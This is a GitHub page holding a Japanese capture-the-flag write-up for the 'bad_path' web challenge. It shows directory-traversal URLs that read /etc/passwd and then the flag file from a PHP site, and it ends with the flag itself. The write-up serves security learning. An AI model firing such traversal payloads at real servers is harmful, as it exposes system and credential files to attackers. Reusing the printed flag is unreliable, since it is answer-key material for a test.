Skip to content

Latest commit

 

History

History

bad_path

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

bad_path:Web:52pts

Hello Worldを何回もすると成長できるらしいので、そのためにサイトを作りました。
https://bad-path.xm4s.net/index.php
Dockerfile    index.php

Solution

URLにアクセスすると、Hello Worldを表示するコードを表示するサイトのようだ。
HelloWorld
site.png
各言語を選択すると、URLのクエリパラメータが以下のように変動する。
https://bad-path.xm4s.net/index.php?ext=hello.js
https://bad-path.xm4s.net/index.php?ext=hello.py
https://bad-path.xm4s.net/index.php?ext=hello.rs
https://bad-path.xm4s.net/index.php?ext=hello.c
ファイルを読み込んでいるようだ。
ディレクトリトラバーサルの可能性が高い。
index.phpより、ブラックリストなどがないことが確認できる。
https://bad-path.xm4s.net/index.php?ext=../../../../etc/passwdにアクセスするとファイルが閲覧できた。
HelloWorld(/etc/passwd)
site_passwd.png
Dockerfileは以下のようになっている。

FROM php:8.0-apache

ADD ./index.php /var/www/html/index.php
ADD ./flag.txt /var/www/flag.txt
ADD ./resource/ /var/www/html/resource/

/var/www/flag.txtを表示すれば良いようだ。
https://bad-path.xm4s.net/index.php?ext=../../../../var/www/flag.txtにアクセスする。
flag
flag.png
flagが表示された。

xm4s{H3110_H3110_CTF3r}